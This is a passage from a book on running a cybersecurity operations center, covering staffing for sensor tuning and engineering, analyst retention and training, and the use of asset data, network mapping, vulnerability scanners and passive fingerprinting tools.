ensor Tuning and Maintenance Early in this section, we reviewed the problems using the number of managed devices or sensors as a predictor for SOC staffing. However, there is one portion of the SOC in which such a ratio is definitely usable—the sensor tuning and maintenance section. For sensor maintenance and tuning functions, we can actually see this as a ratio, not of the number of sensors, but of sensor platforms or types. This is due to economies of scale afforded by the central management capabilities found in modern COTS and FOSS CND sensor technologies: ‚0.5 FTE per sensor type of small sensor deployment ( < 25 network sensors, < 200 server sensors, or < 2,000 desktop host sensors) ‚1.0 FTE per each moderately sized sensor deployment (25–100 network sensors, 100–500 server sensors, or 2,000–10,000 desktop host sensors) ‚2.0 FTE (or more) per each large-sized sized sensor deployment (> 100 network sen - sors, > 500 server sensors, or > 10,000 desktop host sensors). In very small deployments, sensor and signature/heuristic policy management is rela- tively straightforward. As the number of sensors grows, however, management becomes more challenging, as the variety and number of different deployment scenarios and diversity in rule sets require more management overhead. Adjustments must also be made for sensor platforms that entail greater integration challenges, require constant care and feeding, or need an extraordinary amount of custom rule set creating or tuning. In larger enterprises, it is not unusual to have a team of three or four people devoted just to keeping a HIDS/HIPS suite functioning properly. This is due, in part, to its tight integration with the server and workstation environment. These kinds of labor statistics may, of course, cause some SOCs to reconsider their choices about whether certain monitoring packages are really worth the effort. This is not the whole story. There are a number of other jobs that the sensor and sys - tem administration shop must carry out every day. With the rising complexity of analytic frameworks, many SOCs also feel compelled to commit staff to maintaining and enhancing these systems. Such jobs could involve main-taining the SOC SIEM or audit collection framework, the PCAP collection and retention systems, or the malware repositories. Part of these jobs will invariably entail specialized platform or database administration work (e.g., data warehouse tuning and optimization). SOCs that make a serious commitment to their SIEM implementation will usually designate one person as a SIEM content manager whose job it is to manage and tune the plethora Favor Staff Quality over Quantity T en Strategies of a World-Class Cybersecurity Operations Center99 of custom correlation rules, filters, dashboards, and heuristics built into SIEM. Some SOCs that support a large audit log collection framework may feel compelled to devote one or two staff just to ensuring data feeds don’t go down and users’ needs are being met. Consider a SOC that is supporting an audit collection architecture that serves many sysadmins and security personnel in a large constituency—this size user base will require dedicated system administration resources. Depending on how hardened and isolated the SOC enclave is from the rest of the constituency, the SOC will likely need to allocate staffing to these functions, potentially encompassing the following: ‚Maintaining SOC analyst workstations, domain controllers, active directory objects, and group policy objects (GPOs) ‚Patching SOC infrastructure and sensor systems ‚Maintaining internal incident tracking database ‚Maintaining SOC network switch, router, and firewall infrastructure ‚Updating SOC internal or constituency-facing website ‚Maintaining SOC network area storage (NAS) or SAN resources. Inherent in all of these functions is not only the hands-on O&M of systems but also CM, patching, and upgrades. In fact, some larger SOCs may designate someone separate from the sysadmin lead to preside over document management and configuration tracking. 7.2.8 Engineering Staffing the engineering section of the SOC is influenced by five factors: 1. T he number and complexity of SOC systems in operation 2. H ow often new capabilities are rotated into operation 3. W hether the SOC has any homegrown or custom capabilities to which it must devote development cycles 4. W here the line is drawn between system administration and engineering functions 5. T he amount of bureaucracy the SOC must endure as a result of operating within the engineering and paperwork processes/life cycle of its parent organization. SOCs that draw a line between system administration and engineering usually have a ratio of 1:1 or 2:1 sysadmins to engineers. In other words, if a SOC has six sensor tuners and sysadmins, a team of three or four engineers may be appropriate. Again, this example is quite arbitrary because many engineering-like functions may be carried out by other parts of the SOC. Such duties include developing new sensor signatures or scripting tasks that were previously done by hand. In many cases, it is very difficult to clearly define the 100 separation between operations and engineering. The SOC is constantly taking on new capabilities in order to maintain parity with the adversary—agility is key. Many SOCs break down the barrier between system O&M and system engineering entirely, meaning the two teams are fully unified. In such cases, we can simply take the staffing requirements for system administration, inflate them by some multiplier, perhaps 1.5, and calculate the total number of individuals needed for system administration and engineering together. However, this actually masks the efficiencies gained by integrating engineering into operations. A SOC without an integrated engineering function usually receives new or upgraded capabilities with a longer wait and with poorer match to opera-tors’ requirements. As a result, operations must devote additional resources to applying bandages and duct tape to problems (i.e., making the tools work as intended). The point is that by having engineering integrated into ops, the additional staffing requirements to engineer new systems are usually more than made up for by the effi - ciencies gained, to say nothing of the improvement to the mission. If a SOC pursues this approach, it must be sure to maintain appropriate levels of CM and documentation of its deployed baseline capabilities. 7.3 M inimizing Turnover Finding and keeping good people is one of the biggest problems SOC leaders face. In an operational environment, turnover is a fact of life. Keeping rock-star analysts is especially difficult because careers in “cyber” tend to pay well and talent is always in short supply. SOC staff members cite many reasons why they like working in their organization and choose not to move elsewhere. Three of the most common are: 1. T hey feel like a cohesive, tightly knit team of highly qualified, motivated professionals. 2. T hey experience new and interesting challenges every day. 3. T hey believe in the mission of network defense—both its importance and its uniqueness. In this section, we examine methods for maximizing staff retention, especially among the top performers. We will also touch on methods for coping with the turnover inherent in operations. For more information on these topics, see [95] , [96], [97], and [98] . 7.3.1 W ork Smarter, Not Harder Some analysts are content to stare at the same stream of log data, day after day, week after week, as long as they feel like they’re making a “difference.” Our rock-star analysts—the ones we really want to keep—code and script to make their lives easier by doing more Favor Staff Quality over Quantity T en Strategies of a World-Class Cybersecurity Operations Center101 through doing less. We can retain both groups by enabling the rock stars to continually push updated methods and procedures to the rest of the workforce. A SOC’s only hope to achieve comprehensive, effective monitoring and analysis coverage is to leverage tools that automate the early stages of monitoring, including event collection, parsing, storage, and triage. It’s easy to fall into the daily grind where every analyst comes in every day and looks at the same data in the same way, without any change. The key is to allocate time in people’s schedules for driving improvement to SOC tradecraft, such as automation and analytics. These improvements are then handed to the analysts—typically in Tier 1—who are comfortable with following a daily routine. In larger SOCs, this usually is facilitated by dedicated signature-tuning staff who work with all members of the SOC to identify oppor - tunities for new or better monitoring use cases and implement them across the appropriate tools. We achieve high levels of automation by maintaining an up-to-date, robust, strongly integrated tool set. Talented analysts—the ones who can think outside the box—expect access to a robust set of tools that match the current threat landscape and give them results in what they consider a reasonable amount of time. For instance, running basic queries against a day of log data should be doable in a matter of seconds or minutes, not hours. Having old and broken tools is a quick way to lose talent. Here are some techniques that can help the SOC reduce monotony, keeping people interested and excited about the mission and focused on the APT: ‚Dedicate SOC staff to two related but distinct goals: • Tradecraft improvement such as signature tuning, cyber intel fusion, scripting, and analytics development • Performance tuning and content management, ensuring SIEM and other analytics platforms operate in a satisfactory manner for all parts of the SOC. ‚Leverage automated prevention capabilities where it is cost efficient and appropriate to do so, thereby minimizing the “ankle-biters” that would otherwise soak up SOC resources: • Commonsense deployment of AV and anti-malware at the host and the Internet gateway (discussed later in Section 8.3 ) • Automated content detonation and malware analysis (discussed later in Section 8.2.7) • Internet content filtering technologies such as Web proxy gateways. 102 ‚Drive improvements to the constituency cybersecurity program as much as possible, so that strategic issues recognized by the SOC are addressed at the right level. ‚Make handling of routine incidents repeatable and formulaic as appropriate, so they take up minimal amounts of time and can be handled by more junior staff. ‚Refer handling of some routine incident types, such as inappropriate website surfing, to other constituency organizations, as appropriate. 7.3.2 S upport Career Progression A SOC is staffed primarily by people who have and want more technical skills. One of the most desirable traits of an analyst—passion for the job—goes hand in hand with the desire to take on new and different challenges. Those with a solid background in IT but no previ - ous experience in CND can enter a SOC in Tier 1 but may expect to stay in larger SOCs for several years, through a few different career paths, as shown in Figure 16. Self-motivated people can ascend this ladder, largely through skills they learn on the job. However, a certain amount of formal and informal training is necessary. Let’s look at some key opportunities to help SOC members enhance their skill set: ‚Informal on-the-job training in tools and techniques, through formal supervisor, coworker, and mentorship relationships, brown bags, and workshops, such as: • Focus on a particular actor’s TTPs • Deep dive on constituency architecture or mission areas • Advanced tool use • Cross-training on SOC functional areas • Interesting cyber news and intel items. ‚Formal in-house training programs such as: • Initial and periodic “check rides” that ensure staff are qualified for their position • Enrichment activities such as computer-based training or slide decks • Training scenarios where analysts must pick out activity from a real or synthetic set of log data, using the same tools that the SOC has in operation. ‚External training and enrichment such as: • Certifications relevant to CND such as SANS GIAC [99] and Offensive Security [100] that cover either defensive or offensive topics • Training courses for specialties related to CND: ‚Network forensics and intrusion analysis ‚IDS or SIEM deployment, tuning, and maintenance ‚Media forensics ‚Malware analysis and reverse engineeringFavor Staff Quality over Quantity T en Strategies of a World-Class Cybersecurity Operations Center103 ‚Vulnerability assessment and penetration testing ‚Operating system, database, and network management. • Professional conferences such as: ‚BlackHat—held at several locations, most notably Las Vegas, Nevada [101] ‚Defcon—held right after BlackHat, Las Vegas, Nevada [102] ‚RSA Conference, San Francisco, California [103] ‚T00rcon, San Diego, California [104] ‚Shmoocon, Washington, DC [105] ‚Skydogcon, Nashville, Tennessee [106] ‚Derbycon, Louisville, Kentucky [107] ‚Security B-Sides, various locations [108] ‚Layer one, Los Angeles, California [109]SOC Lead or Section Lead Technical Lead/ Architect CND/SOC Engineer/ Integrator SIEM & Sensor Tuning & Signature/ Content AuthorMalware Analysis & Forensics Intel Analysis & Trending Vulnerability Assessment & Pen Testing Tier 2 Analyst/ Responder General CND Sysadmin Routine Scanning/ Mapping Tier 1 Analyst System/ Network AdminCS/Eng/IT College GradISSOLead/Senior Help Desk System/ Network Engineer Figure 16 Typical Career Paths Through the SOC 104 ‚Flocon, Austin, Texas [110] ‚PhreakNIC, Nashville, Tennessee [111] ‚Hackers On Planet Earth (HOPE), New York, New York [112] ‚Hacker Halted, Miami, Florida [113] ‚SANSFIRE, Washington, DC [114] ‚USENIX, various locations [115]. • Vendor training on specific products in use or being deployed, such as: ‚Product-specific training or certification classes ‚Product-centered conferences for current and prospective customers hosted by vendors such as HP, McAfee, and Cisco. It is important to recognize that cross-training on job functions greatly enhances employees’ ability to extend their job functions, understand other SOC employees’ roles, and backfill positions during staffing shortages. In addition, the best network defenders have a keen, hands-on understanding of attack techniques. For more information on analyst self-development, along with a number of other great tips about hiring and grooming analysts, see [116] . 7.3.3 F ind the Right Level of Process We mentioned it before, but it bears repeating—the SOC must find the right amount of structure and freedom in governing the ops tempo and daily routine of its analysts. With too little process, there is no consistency in what the SOC does, how it finds, or how it esca-lates and responds to incidents. With too much process or bureaucracy, the analysts don’t have the time or freedom to pursue the most important leads that “just don’t look right” or to rise to the challenge when called upon. If the SOC slips to either end of this spectrum, staff will leave. What are some good candidates for a formalized process? Here are some examples: ‚Overall CONOPS that articulate to constituents, inside and outside, the major inputs and outputs of the SOC escalation process, demonstrating rigor and repeatability in terms of overall cyber incident handling ‚Daily, weekly, and monthly routines that must be followed by each section of the SOC: • Consoles and feeds that must be looked at • Preventive maintenance and health and welfare checks • Reports that must be written and pushed to external parties for SA • Websites that must be checked for updated cyber intel and news. ‚SOPs that describe in detail what is done in response to certain events: • Escalation procedures for well-defined, routine, noncritical incident types such as data leakages, viruses, and inappropriate Web surfingFavor Staff Quality over Quantity T en Strategies of a World-Class Cybersecurity Operations Center105 • Escalation procedures for less structured, more unusual, or critical incident types such as root compromise and widespread malware infections • Downed sensors, data feeds, or systems ‚Facility and personnel emergencies (e.g., those initiating a COOP event) such as inclement weather, fire drills, or personnel out on sick leave. Note that we’ve left out how the analyst actually evaluates security-relevant data for signs of malicious or anomalous behavior. This is the most critical element of the CND life cycle, and it cannot be turned into a cut-and-dried process. It should be noted that SOC processes (especially SOPs) are more focused on junior members of the staff such as junior sysadmins and Tier 1 console watchers. This is natural, since those newer team members require more structure and routine in their job. 7.3.4 C lose the Loop Let’s return to the reasons often cited by analysts for liking their work in a SOC—teamwork and the mission. One of the best ways to encourage this feeling is to provide regular feed - back to SOC staff on how their contributions are making a difference. Probably the most straightforward way to accomplish this is through regular meetings where SOC personnel discuss tactical and operational issues, as well as less frequent quar - terly meetings to discuss bigger picture issues. The desire to bring the SOC together must be tempered with mission demands. For instance, with a larger SOC, weekly or daily ops “stand-ups” need involve only SOC section leads. The second way to accomplish this is to provide feedback (known by some as “hot washes”) to the entire SOC on the results of recent incidents. If done properly, this supports several goals: ‚Provides evidence that individuals’ efforts are having an impact ‚Recognizes individuals’ accomplishments ‚Highlights the importance of each section’s contribution to the mission ‚Brings to light techniques that can be used across the SOC ‚Keeps SOC members informed of nuances regarding incident escalation procedures ‚Drives improvement to processes and technologies that are having the most success ‚Provides artifacts that can be rolled up into records of accomplishments the SOC can use to justify expanded resourcing and authorities. The third method is to regularly exercise the SOC. This must be done in a way that minimizes interference with operations while maximizing the exercise integrity and realism. The most successful CND exercises have strong participation by one or two SOC TAs who can formulate realistic attacks, know how to play to the SOC’s strengths and 106 weaknesses, and can draw observables and conclusions from their position in ops as the exercise plays out. The more complex and realistic the intrusion—such as a full penetra-tion test against constituency assets or a successful phishing attack—the more opportu - nities there are for testing the full incident-handling life cycle. Results of SOC exercises should be brought back to management and analysts in a non-hostile, open method, so that everyone can learn from the results and adjust procedures accordingly. Finally, exer - cise attacks should be carefully coordinated and approved by IT seniors, with a written set of “injects,” scripted actions, rules of engagement, and points of contact list. The fourth way is to maintain regular analyst-to-analyst sharing among SOCs, a topic touched on many times in this book. By regularly sharing “war stories,” team members gain a sense of community and belonging. It also helps dispel myths that “the grass is greener” at other SOCs, whereas in reality, most SOCs share the same struggles and find comfort in common challenges and solutions. 7.3.5 M aintain Adequate Staffing This is probably the most straightforward but challenging prerequisite for retaining a good team. If the SOC is not staffing at the right levels with a qualified cadre of personnel, those who are left are less likely to stay. The reason is obvious—they are overworked and burn out quickly. For more details on this, return to Sec t ion 7.2 . 7.3.6 P ay Them Anecdotal evidence suggests that CND is a field dominated by 20- and 30-somethings. Sufficiently talented and self-motivated employees will quickly pick up a variety of highly marketable IT skills in just 12–18 months working in a SOC. For example, it is possible for a fresh college graduate with drive and a CS degree to spend a year or two in a SOC and then jump ship for an annual pay increase of $20,000 or more. Highly qualified team members are likely to leave for higher paying positions, espe - cially when they don’t feel that they have an upward career path in their current organi - zation. Nurturing, mentorship, and self-improvement only go so far. Many SOCs struggle to find and retain the right folks because talent is in short supply and the job market is in the applicants’ favor. Add in the fact that many SOCs, especially those in the government, require extensive background checks, further narrowing the field of candidates. The bottom line is this: a SOC must be able to adequately compensate its employ - ees. This can be especially challenging in government environments or with contracted employment. SOC management should ensure that team members receive adequate compensation and that the SOC is granted different or higher pay bands separate from positions in general IT such as junior sysadmin or help desk. As a result of their higher Favor Staff Quality over Quantity T en Strategies of a World-Class Cybersecurity Operations Center107 compensation, SOCs must also be careful to vet all potential hires for strong technical and soft skills. 7.3.7 H ave Fun It is usually not enough to come into work every day, feel that you’re having an impact on the mission, and grow professionally. One of the hallmarks of a strong and healthy SOC is that its staff has fun inside or outside of work, on a regular basis. Regular outings for lunch or ordered-in pizza or fast food is a good start. Also, consider team-building and social activities outside work that appeal to the SOC demographic, such as paintball, laser tag, go-kart racing, or local area network (LAN) parties. Keeping the environment inside the workplace easygoing and casual is also key. This means not dressing up in a suit every day and letting some of the analysts listen to music on headphones. Nerf wars are also a good way to let off some steam late on a Friday afternoon. 7.3.8 C ope with It Turnover is a fact of life for ops centers. Annual attrition rates around 30 percent are not unheard of. As a result, the SOC’s ops model must embrace the fact that few team members will stay longer than four or five years. In SOCs that leverage a contractor workforce, the entire staff may be “greened” every three to five years. Here are some tips: ‚Keep a living set of SOPs that describe each of the duties, ops tempo, and skills for each work center. ‚Constantly stay on the lookout for new hires, leveraging leads from current staff and institutions of higher learning that have a reputation for strong engineering and CS. ‚Constantly educate staff on key skills, especially through on-the-job training and, pos - sibly, through archiving presentations and demos for later use. ‚Maintain as much institutional and technical knowledge in lead and management positions as possible, compensating for gaps between departures and new hires. 108Chapter 8 Stra tegy 6: Maximize the Value of Technology Purchases When many SOCs were first stood up in the 1990s, the number and com- plexity of tools they had to work with were relatively low, focused largely on network and host-based IDSes. Since then, the marketplace in security products has exploded, as have the adversary’s TTPs, resources, and motivation. Today, the SOC must leverage a wide array of capabilities in executing its mission, making the CND mission much more expensive to conduct than in the past. There is no one tool that will “do it all.” Each has its limitations, and they often must interoperate in a complex architecture supporting comprehensive monitoring and advanced analytics. The tools we will discuss to meet these objectives should be familiar to those with even cursory experience in CND. They are: ‚Vulnerability scanners and network mapping systems that help SOCs understand the size, shape, and vulnerability/patch status of the enterprise ‚NIDS/NIPS, which are used as tip-offs to user, system, or network behavior that is of concern ‚Complements to NIDS/NIPS, including NetFlow (which records a summary of network activity), full-session network capture collec - tion, and content detonation devices (which inspect documents and Web pages for malicious behavior) ‚The host counterpart to NIDS, HIDS/HIPS , which, in many cases, also include various enhancements and add-on modules such as AV and configuration monitoring T en Strategies of a World-Class Cybersecurity Operations Center109 ‚A means of gathering, normalizing, correlating, storing, and presenting events from these various sources, such as a SIEM system and its less expensive counterpart, Log Management (LM) Appliances. Despite the richness of features and selection found in these tool suites, their cost, inte - gration, and use continue to be a pain point for virtually every SOC. Cost-effective technologies needed to mount a competent defense of the enterprise are widely available; issues of people and process are usually what hold SOCs back from using them effectively. In our sixth strategy, our goal is to extract the maximum value from each technology purchase we make, with respect to the adversary and the SOC mission . In order to fulfill this, we should: ‚Maintain cognizance over the entire threat landscape and what is most relevant to the constituency—what will be the most damaging, and which are most likely to occur. ‚Consider the overall value of each tool in terms of visibility, cyber attack life cycle coverage, and longevity. ‚Focus on a discrete set of tools that provide maximum value and avoid overlap in functionality where redundancy is not needed. ‚Pursue a rigorous requirements-driven approach based on operator feedback. ‚Carefully manage expectations of IT executives regarding the virtues and limitations of tools under consideration—there is no panacea. ‚Ensure the SOC has the expertise to exploit the full capabilities of the tools chosen. ‚Practice continual improvement over the lifetime of each tool by dedicating resources to tuning and analytics and building custom use cases and content. ‚Ensure that the tools chosen fit into a carefully designed monitoring, analysis, and response architecture. 8.1 U nderstanding the Constituency In order to defend an enterprise, we must first understand it. Monitoring tools such as net - work and host sensors get the lion’s share of SOC analysts’ attention. However, the prereq - uisite for using these tools is having some “local context” for the hosts and networks they monitor. Tools used to gain this understanding are, in many cases, owned and operated by organizations other than the SOC. As a result, many SOCs overlook them, even though a substantial portion of the SOC’s SA can be drawn from data contained or produced by 110 them. Moreover, because they have already been stood up, they can be leveraged by the SOC with little or no cost. In this section, we will discuss tools and techniques that help the SOC meet the follow - ing three objectives: 1. U nderstand what hosts are in the enterprise, what is running on them, and how vulnerable they are to attack. 2. U nderstand the network topology and connection between hosts and between enclaves. 3. D raw key connections between IT assets and their supported mission functions. 8.1.1 A sset Information Enterprises of all sizes must keep track of their property inventory—what it is, where it is, who owns it, when it was purchased, and so forth. In addition, one hopes that a cen - tralized means to roll out software updates and patches, such as Microsoft System Center Configuration Manager [117] , is available. Some tools, such as Radia [118] or Symantec Management Agent (also known as Altiris) [119] , will actually reach out to end hosts and query system settings and files resident on the hard drive to determine the ground-truth patch status of a system. SOCs that perform direct monitoring of constituency hosts and networks should have read-only access to the data contained in these asset tracking and management systems (through direct console access, database extracts, regular reporting, or a combination of all three). Ideally, these systems will provide a wealth of current asset data to the analyst, including: ‚Host name ‚Media access control (MAC) address ‚IP address ‚OS and version ‚Service pack and patch level ‚Installed and running software ‚Hardware details and configuration ‚System settings ‚Purchase date ‚Personal owner, if applicable ‚Organizational or project association, in some cases. Consider the common situation where an analyst is looking at an attack that has hit several hundred systems across the constituency. All the analyst may know are the IPs of Maximize the Value of Technology Purchases T en Strategies of a World-Class Cybersecurity Operations Center111 the victim hosts. Where are these systems physically located? What do they have run - ning on them? Are they possibly vulnerable based on their service pack level? Data from a robust asset management database can answer these questions. Vulnerability scanners (which we discuss later in this section) can also provide similar data; however, chances are IT operations already has a robust asset management and tracking database in place. While the SOC could deploy its own tool to collect this data, it could leverage an existing tool for free. Many SOCs will take extracts of asset data and bring them into their monitoring systems, or they will build workflow tools that allow an analyst to query an asset management system on the basis of the details of some event data. SIEM, for instance, has robust support for these approaches. 8.1.2 Network Mapping To understand the topology of the IT enterprise, the SOC typically turns to network maps. Different network maps can depict the enterprise at varying levels of abstraction. Some are focused on small subnets, site networks, and enclaves. Typically, such maps will provide details on edge assets such as access switches and servers—with the exception of Internet perimeters and DMZs, which are usually needed only in response to a given incident. Other network maps depict the enterprise at a much higher level, showing WAN topology, major routers, and perimeter points of presence (PoPs) but leaving out the end host. These are more frequently needed for analysts to comprehend what they are monitoring. SOCs are not usually the custodian of network maps. Therefore, keeping an up-to-date collection may be a struggle, and the SOC must lean on personal connections with system owners and network engineers. Network maps are normally generated automatically by a network monitoring program or network scanning tool or are manually drawn with a computer diagramming program such as Microsoft Visio™ [120] . Drawing a network map by hand is a fairly unglamorous, tedious task carried out by knowledgeable network and sysadmins who recognize the importance of having accurate depictions of the assets they manage. If analysts can gain access to current, accurate net - work maps, they have already made a lot of progress in understanding the constituency, at zero cost to the SOC. In fact, some SOCs can actually play an active role in pooling collec - tions of network maps or by providing updates to consolidated high-level diagrams. To augment manually rendered network maps, many enterprises will implement auto - mated network scanning systems such as Lumeta IPSonar [121] . While each tool has its own virtues and drawbacks, they all have some key architectural commonalities. As we see in Figure 17, scanner nodes are placed in key locations throughout the network. Each node will look for networked devices and their configuration data within a user-defined IP range. 112 This data is then brought back to a central collector where the user can manage the system and interact with the collected data. By analyzing properties of scan results, such as trace routes [122], the system can infer the network topology between it and the scanned assets. Maps generated using either manual or automated techniques can embed detailed configuration data about depicted assets or include links to asset data resident in an asset tracking or network management database located elsewhere. This is principally done by either remotely querying end devices for key configuration data through Simple Network Management Protocol (SNMP) or placing a management software package on the end host. The latter approach provides a richer set of data and more robust management but at the added cost of deploying and maintaining a piece of software. More detailed techniques for capturing network data are outside the scope of this book. However, it should be noted that the author of a network map always has to balance completeness with size, complexity, and readability. Moreover, for many network map authors, network maps are a labor of love completed during spare time. As a result, their maps can easily fall out-of-date due to the rapid pace of change for most enterprise sys - tems. Keeping maps updated and correct is a regular job. We summarize strengths and weaknesses of network mapping techniques in Table 8. Maximize the Value of Technology Purchases Figure 17 Basic Network Discovery ArchitectureTarget systemsDistributedscanners Collection &storageof scan data Administrationconsole T en Strategies of a World-Class Cybersecurity Operations Center113 Table 8 Automated Versus Manual Network Mapping Quality Automated Manual Cost to implementModerate, given the size of the constituency; enterprise tools can get pricey, and deployment incurs certain costs.Minimal to none; little beyond the cost of a few Microsoft Visio (or similar tool) licenses Cost to execute and sustainSmall to moderate, depending on frequency of scans and complex - ity of tool usedSmall to moderate if done regularly; building, consolidating network maps is seen as an inherent function in net - work CM; resources must be consciously devoted to it. Bringing antiquated network maps up to date is more costly because fundamental aspects of network topology and config- uration must be rediscovered by hand. What it capturesNetworked hosts and intercon-nectivity, some router/switch configuration—regardless of whether hosts are documented and baselinedKnown network devices (switches, rout - ers, firewalls, servers), connections, perimeters, networks—anything the draw-ing authors felt necessary to include, even if they crosscut levels of abstraction What it missesAny significant level of context mapping to the mission; systems not visible from the vantage point of the scanners, due to firewalls, Network Address T ranslation (NAT), VPNs, network virtualiza- tion, or tunneling; configuration data for assets to which it has no access or privileges.Anything the authors did not know about, such as undocumented assets or changes to the network; in absence of additional automation or scanning plug- ins, detailed configuration data for large numbers of assets because it would take the map author a very long time to cap- ture said data. AgingDeployment and use of scanners must maintain parity with differ - ing networks and enclaves within constituency, otherwise results are only as old as the latest scan.Network maps are out of date as soon as they are drawn; vigilance drives their cor - rectness and completeness; a diagram may be marked as recent, but portions of the data captured may actually be quite dated; full scrubs of network diagrams can be laborious. 114 Table 8 Automated Versus Manual Network Mapping Quality Automated Manual Scalability considerationsCan capture vast quantities of asset data across large networks not practical through manual means; diagram complexity can become a problem if not cap- tured through a hierarchy of drill- down maps. Drawing each map takes time, so main- tainers are forced to include only what is important; depicting thousands of individual nodes on one map is usually impractical. Impact to systems and networksOperators must architect and execute scans in a way that doesn’t overly obligate resources; used incorrectly, a self-inflicted denial of service (DoS) is very possible.Little to none. Systems are not necessarily touched. It should also be noted that there is a third, less common method used to draw net - work maps. Earlier, we mentioned that manually or automatically generated maps could hot link to asset configuration data directly from symbols on the map. It’s also possible to generate a map entirely by analyzing the configurations of various assets such as routers, switches, and firewalls. At least one vendor, RedSeal, offers a network-mapping product that leverages this strategy [123] . This approach has many of the same virtues as the automatic scanning methods we discussed above—it reflects what is actually deployed and running. However, one of its drawbacks is that the network map has blind spots where we do not have rights to interrogate devices for their configuration—a problem that conven - tional automated mapping does not necessarily suffer from. Ultimately, each approach to network mapping can be seen as complementary. That said, anecdotal evidence suggests that manually drawn network maps are favored very heavily by both network and security personnel because good hand-drawn network maps capture what is of interest to the reader. Machine-drawn network maps, on the other hand, don’t usually emphasize significance, mission, or logical grouping of assets in the same way. In either event, the centralized and distributed SOCs must maintain a strong relationship with network maintainers so they can keep tabs on the latest structure of the network.Maximize the Value of Technology Purchases T en Strategies of a World-Class Cybersecurity Operations Center115 8.1.3 V ulnerability Scanners Consider a situation where an exploit has been released against a popular piece of soft - ware. This could pose a serious problem to the constituency if it runs that piece of software without the latest patches, or it may not be an issue at all if the exploit is old and patches are up to date across all systems. Asset management systems may track patch status of systems, but, in many cases, they don’t provide robust or comprehensive measurement of whether patches were actually applied. Moreover, not all systems may be reached by an asset or patch management system. In order to address this challenge, the SOC can turn to an enterprise-class vulnerability scanning platform to provide ground truth answers. From an architectural perspective, vulnerability scanners function a lot like the network scanning tools described above. A user interacts with the system through a central console commanding one or more distributed scanners. Each scanner node is deployed within logical or physical proximity to targeted nodes. Using Windows domain, Lightweight Directory Access Protocol (LDAP), or local system credentials, they interrogate networked systems for system configuration details that provide evidence of their patch status and other security-relevant configuration data. These results are collected by the management server, recorded in a database, and provided to the user on demand. The sys - tem provides various options to the user about the depth and breadth of the scan, allow - ing, for instance, a scan to be run only for certain vulnerabilities. Vulnerability scanner systems stand apart from network mapping systems because they interrogate the end host for configuration data and provide little insight on the topology of the network. They also gather some data that a host-based sensor can gather. However, vulnerability scanners do not rely on a software presence on the end host, by design. There are several tools in the vulnerability scanning market space, such as Rapid7 Nexpose [124], Tenable Nessus [125] , and eEye Retina Network Scanner [126] . Vulnerability scanners can also be configured to execute shallower, quicker host “discovery” or simple open-port scans. These don’t produce complete results on running applications or vulnerable applications as a full scan would, but they can execute in far less time. If a SOC is lacking a full-fledged vulnerability scanner tool, it may turn to a port scanning tool [127] , the most popular of which is Nmap [128] , [129]. As we discussed in Section 2.4 , a SOC will often perform vulnerability scanning on a portion of constituency networks. By doing this, the SOC functions as the messenger, providing independent verification that IT operations is patching systems within required timelines. While the SOC can be seen as the “bad guy” by IT ops, it is balanced out by the fact that the SOC has a ground-truth understanding of the constituency’s vulnerability status, and it is the “go-to” organization that provides this SA to various stakeholders. 116 Vulnerability scanners are known to produce false positives and false negatives, though they are not known for the same false-positive rates as most IDSes. Like asset data, their results can be brought into SIEM or a full-fledged asset management system for cor - relation. Understanding their false-positive rates and types is important when correlating against other data types, such as in SIEM. Finally, it is important that a SOC receive the appropriate approvals (e.g., from the CIO) and provide notification prior to conducting vulnerability, network, or port scan activities. These scans can be very disruptive to legacy systems, which may not respond in a deter - ministic manner to the nonstandard network traffic sometimes emitted, especially when performing OS and application fingerprint scans. Care should be taken to exclude such systems when necessary. SOCs should have a standing agreement with IT executives and operations leads as to the nature, frequency, and source of scanning activity. Particularly disruptive scans should be preceded by a “heads-up” email to relevant network admins and sysadmins. 8.1.4 Passive Fingerprinting Considering that vulnerability and port scanning can cause nontrivial disruption of system and network services, the SOC may seek out other approaches to understand what’s run - ning on the network in real time. Open source utilities such as P0f [130] , XProbe2 [131] , and at least one popular com- mercial tool, Sourcefire Real-time Network Awareness [132] , leverage a passive approach to identifying what’s on the network. By placing them next to, or on, network sensors that the SOC has deployed throughout the enterprise, the SOC can gain this added visibility at little added cost. They will often leverage a library for packet capture (libpcap) to pull packets off the wire, thereby offering a familiar operating environment. In fact, some commercial NIDSes can be configured to produce passive OS and application fingerprinting results in the form of alerts, just like a signature match. There are a few caveats to keep in mind. First, tools like ettercap [133] can provide passive fingerprinting but have several other uses that are more oriented toward penetra-tion testing activities. Some AV packages may flag them as “hack tools,” whereas the SOC has legitimate uses for them. Second, passive tools will, of course, not see running hosts or services that do not actively communicate over the link being monitored. As a result, such a tool may produce results that are mostly correct , but they are certainly not complete . For more information on passive fingerprinting, see [134].Maximize the Value of Technology Purchases T en Strategies of a World-Class Cybersecurity Operations Center117 8.1.5 M ission and Users So far we have covered a variety of technologies and techniques the SOC can leverage to understand the technical attributes of the constituency. Recalling our discussion of the fundamental components of SA from Section 2.5 , SA is, at best, incomplete without drawing both actors (users) and the mission context into the picture. Understanding network topol - ogy and host configuration is a more straightforward task by comparison. Understanding their constituency’s mission, lines of business, and organizational structure is a challenge for many SOC analysts due, in large part, to the demands of their ops tempo. This works to their disadvantage because the significance of potential inci - dents can only be evaluated when the mission and people aspects come into focus. While many tools such as SIEM advertise the ability to integrate mission and business context into the tools, this information almost always must be captured and entered into the system manually. There is no tool that can scan the network and automatically say, with consistently high confidence, that “This system is a development box” or “This network belongs to accounting” without a human first defining such relationships. Furthermore, tools designed to capture dependencies between mission and IT assets are largely in their infancy. Here are some techniques we can leverage to address these challenges: ‚Require new SOC personnel to attend their constituency’s mission introductory course; if one does not exist, consider integrating this into the SOC training program. ‚Tier 2 analysts may accumulate knowledge of key connections between IT and mis - sion over time; consider regular knowledge sharing among team members. ‚Network maps, especially those drawn by system owners and project engineers, will often include context regarding systems mission role; asking a few pointed questions of a network admin or engineer based on careful examination of a network map can be very helpful. ‚HR databases and identity management systems often include annotations regarding each user’s organizational alignment and business function. High-end SIEM sys - tems and insider threat-monitoring tools can actually gather this data and perform advanced correlation on alerts in the context of user roles. 1 1 A s with collecting any sort of data that has personally identifiable information in it, the SOC should be careful to respect applicable privacy laws when gathering and retaining records from Human Resources (HR) systems and directories. 118 ‚Some constituencies will actually capture information about each of their depart - ments and subdivisions through a structured website or database, which can be browsed by employees or queried by other systems. 8.2 N etwork Monitoring For most SOCs, the traditional cornerstone of their incident detection and data collection framework is a fleet of network-based sensors deployed across the constituency. An analyst needs three things in order to perform competent network monitoring: 1. A n initial tip-off capability such as a signature- or behavior-based IDS. This includes the ability to leverage custom signatures and full details on the signature or behavior that fired (e.g., signature syntax). 2. N etFlow records that show a summary of communications to and from the 